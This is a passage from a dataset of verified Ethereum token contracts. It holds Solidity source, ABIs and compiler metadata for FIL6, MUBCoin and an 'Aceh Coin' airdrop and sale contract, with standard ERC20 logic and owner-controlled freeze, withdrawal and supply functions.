function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
/**
* @dev Optional functions from the ERC20 standard.
*/
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract FIL6 is ERC20, ERC20Detailed {
constructor() ERC20Detailed("FIL6", "FIL6", 18) public {
_mint(msg.sender, 50000*10** uint256(18) );
}
} | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"amount","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"sender","type":"address"},{"name":"recipient","type":"address"},{"name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"account","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"recipient","type":"address"},{"name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"owner","type":"address"},{"name":"spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"}] | v0.5.2+commit.1df8f40c | false | 200 | Default | false | |||||
MUBCoin | MUBCoin.sol | 0xbfc80ebcf78094cc4cf973bdc0a2a60ad621e09d | Solidity | pragma solidity >=0.5.0 <0.6.0;
/**
* @title SafeMath for uint256
* @dev Math operations with safety checks that throw on error
*/
library SafeMathUint256 {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath: Multiplier exception");
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b; // Solidity automatically throws when dividing by 0
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: Subtraction exception");
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a, "SafeMath: Addition exception");
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: Modulo exception");
return a % b;
}
}
/**
* @title SafeMath for uint8
* @dev Math operations with safety checks that throw on error
*/
library SafeMathUint8 {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint8 a, uint8 b) internal pure returns (uint8 c) {
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath: Multiplier exception");
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint8 a, uint8 b) internal pure returns (uint8) {
return a / b; // Solidity automatically throws when dividing by 0
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint8 a, uint8 b) internal pure returns (uint8) {
require(b <= a, "SafeMath: Subtraction exception");
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint8 a, uint8 b) internal pure returns (uint8 c) {
c = a + b;
require(c >= a, "SafeMath: Addition exception");
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint8 a, uint8 b) internal pure returns (uint8) {
require(b != 0, "SafeMath: Modulo exception");
return a % b;
}
}
contract Ownership {
address payable public owner;
address payable public pendingOwner;
event OwnershipTransferred (address indexed from, address indexed to);
constructor () public
{
owner = msg.sender;
}
modifier onlyOwner {
require (msg.sender == owner, "Ownership: Access denied");
_;
}
function transferOwnership (address payable _pendingOwner) public
onlyOwner
{
pendingOwner = _pendingOwner;
}
function acceptOwnership () public
{
require (msg.sender == pendingOwner, "Ownership: Only new owner is allowed");
emit OwnershipTransferred (owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
/**
* @title Controllable contract
* @dev Implementation of the controllable operations
*/
contract Controllable is Ownership {
bool public stopped;
mapping (address => bool) public freezeAddresses;
event Paused();
event Resumed();
event FreezeAddress(address indexed addressOf);
event UnfreezeAddress(address indexed addressOf);
modifier onlyActive(address _sender) {
require(!freezeAddresses[_sender], "Controllable: Not active");
_;
}
modifier isUsable {
require(!stopped, "Controllable: Paused");
_;
}
function pause () public
onlyOwner
{
stopped = true;
emit Paused ();
}
function resume () public
onlyOwner
{
stopped = false;
emit Resumed ();
}
function freezeAddress(address _addressOf) public
onlyOwner
returns (bool)
{
if (!freezeAddresses[_addressOf]) {
freezeAddresses[_addressOf] = true;
emit FreezeAddress(_addressOf);
}
return true;
}
function unfreezeAddress(address _addressOf) public
onlyOwner
returns (bool)
{
if (freezeAddresses[_addressOf]) {
delete freezeAddresses[_addressOf];
emit UnfreezeAddress(_addressOf);
}
return true;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic, Controllable {
using SafeMathUint256 for uint256;
mapping(address => uint256) balances;
uint256 public totalSupply;
constructor(uint256 _initialSupply) public
{
totalSupply = _initialSupply;
if (0 < _initialSupply) {
balances[msg.sender] = _initialSupply;
emit Transfer(address(0), msg.sender, _initialSupply);
}
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public
isUsable
onlyActive(msg.sender)
onlyActive(_to)
returns (bool)
{
require(0 < _value, "BasicToken.transfer: Zero value");
require(_value <= balances[msg.sender], "BasicToken.transfer: Insufficient fund");
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view
returns (uint256 balance)
{
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public
isUsable
onlyActive(msg.sender)
onlyActive(_from)
onlyActive(_to)
returns (bool)
{
require(0 < _value, "StandardToken.transferFrom: Zero value");
require(_value <= balances[_from], "StandardToken.transferFrom: Insufficient fund");
require(_value <= allowed[_from][msg.sender], "StandardToken.transferFrom: Insufficient allowance");
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public
isUsable
onlyActive(msg.sender)
onlyActive(_spender)
returns (bool)
{
require(0 < _value, "StandardToken.approve: Zero value");
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint256 _addedValue) public
isUsable
onlyActive(msg.sender)
onlyActive(_spender)
returns (bool)
{
require(0 < _addedValue, "StandardToken.increaseApproval: Zero value");
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint256 _subtractedValue) public
isUsable
onlyActive(msg.sender)
onlyActive(_spender)
returns (bool)
{
require(0 < _subtractedValue, "StandardToken.decreaseApproval: Zero value");
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue)
allowed[msg.sender][_spender] = 0;
else
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract ApprovalReceiver {
function receiveApproval(address _from, uint256 _value, address _tokenContract, bytes memory _extraData) public;
}
contract MUBCoin is StandardToken {
using SafeMathUint256 for uint256;
event Freeze(address indexed from, uint256 value);
event Unfreeze(address indexed from, uint256 value);
string public name;
string public symbol;
uint8 public decimals;
mapping (address => uint256) public freezeOf;
constructor(string memory _name, string memory _symbol, uint8 _decimals, uint256 _initialSupply) public
BasicToken(_initialSupply)
{
name = _name;
symbol = _symbol;
decimals = _decimals;
}
/**
* @dev Freeze holder balance
*
* @param _from The address which will be freeze
* @param _value The amount of tokens to be freeze
*/
function freeze(address _from, uint256 _value) external
onlyOwner
returns (bool)
{
require(_value <= balances[_from], "RLACoin.freeze: Insufficient fund");
balances[_from] = balances[_from].sub(_value);
freezeOf[_from] = freezeOf[_from].add(_value);
emit Freeze(_from, _value);
return true;
}
/**
* @dev Unfreeze holder balance
*
* @param _from The address which will be unfreeze
* @param _value The amount of tokens to be unfreeze
*/
function unfreeze(address _from, uint256 _value) external
onlyOwner
returns (bool)
{
require(_value <= freezeOf[_from], "RLACoin.unfreeze: Insufficient fund");
freezeOf[_from] = freezeOf[_from].sub(_value);
balances[_from] = balances[_from].add(_value);
emit Unfreeze(_from, _value);
return true;
}
/**
* @dev Allocate allowance and perform contract call
*
* @param _spender The spender address
* @param _value The allowance value
* @param _extraData The function call data
*/
function approveAndCall(address _spender, uint256 _value, bytes calldata _extraData) external
isUsable
returns (bool)
{
// Give allowance to spender (previous approved allowances will be clear)
approve(_spender, _value);
ApprovalReceiver(_spender).receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
} | 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:"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Unfreeze","type":"event"},{"anonymous":false,"inputs":[],"name":"Paused","type":"event"},{"anonymous":false,"inputs":[],"name":"Resumed","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"addressOf","type":"address"}],"name":"FreezeAddress","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"addressOf","type":"address"}],"name":"UnfreezeAddress","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"}] | v0.5.0+commit.1d4f565a | false | 200 | 000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000004d8c55aefb8c05b5c00000000000000000000000000000000000000000000000000000000000000000000134d616b657320596f752042656175746966756c0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034d55420000000000000000000000000000000000000000000000000000000000 | Default | false | bzzr://2707efad05f84ea8abfaa5d38fee4b85f9a3aa883ffe035da78ef435053cfc65 |
|||
ACH | ACH.sol | 0x091d135528fe84130d40759238cc3fdb7ac3e876 | Solidity | pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ACH is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public Claimed;
string public constant name = "Aceh Coin";
string public constant symbol = "ACH";
uint public constant decimals = 8;
uint public deadline = now + 15 * 1 days;
uint public round2 = now + 10 * 1 days;
uint public round1 = now + 10 * 1 days;
uint256 public totalSupply = 54000000e8;
uint256 public totalDistributed;
uint256 public constant requestMinimum = 1 ether / 10; // 0.1 Ether
uint256 public tokensPerEth = 300e8;
uint public target0drop = 10;
uint public progress0drop = 0;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event DistrRestarted();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Add(uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
uint256 teamFund = 24000000e8;
owner = msg.sender;
distr(owner, teamFund);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function reDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = false;
emit DistrRestarted();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function Distribute(address _participant, uint _amount) onlyOwner internal {
require( _amount > 0 );
require( totalDistributed < totalSupply );
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
// log
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function DistributeAirdrop(address _participant, uint _amount) onlyOwner external {
Distribute(_participant, _amount);
}
function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external {
for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
uint256 bonus = 0;
uint256 countbonus = 0;
uint256 bonusCond1 = 1 ether / 10;
uint256 bonusCond2 = 1 ether / 10;
uint256 bonusCond3 = 1 ether;
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) {
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 5 / 100;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 10 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 20 / 100;
}
}else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){
if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 25 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 30 / 100;
}
}else{
countbonus = 0;
}
bonus = tokens + countbonus;
if (tokens == 0) {
uint256 valdrop = 1e8;
if (Claimed[investor] == false && progress0drop <= target0drop ) {
distr(investor, valdrop);
Claimed[investor] = true;
progress0drop++;
}else{
require( msg.value >= requestMinimum );
}
}else if(tokens > 0 && msg.value >= requestMinimum){
if( now >= deadline && now >= round1 && now < round2){
distr(investor, tokens);
}else{
if(msg.value >= bonusCond1){
distr(investor, bonus);
}else{
distr(investor, tokens);
}
}
}else{
require( msg.value >= requestMinimum );
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAll() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdraw(uint256 _wdamount) onlyOwner public {
uint256 wantAmount = _wdamount;
owner.transfer(wantAmount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function add(uint256 _value) onlyOwner public {
uint256 counter = totalSupply.add(_value);
totalSupply = counter;
emit Add(_value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"uint256"}],"name":"add","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"deadline","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_wdamount","type":"uint256"}],"name":"withdraw","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"uint256"}],"name":"burn","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"round2","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"requestMinimum","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_participant","type":"address"},{"name":"_amount","type":"uint256"}],"name":"DistributeAirdrop","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"round1","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"progress0drop","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"withdrawAll","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"finishDistribution","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_tokensPerEth","type":"uint256"}],"nam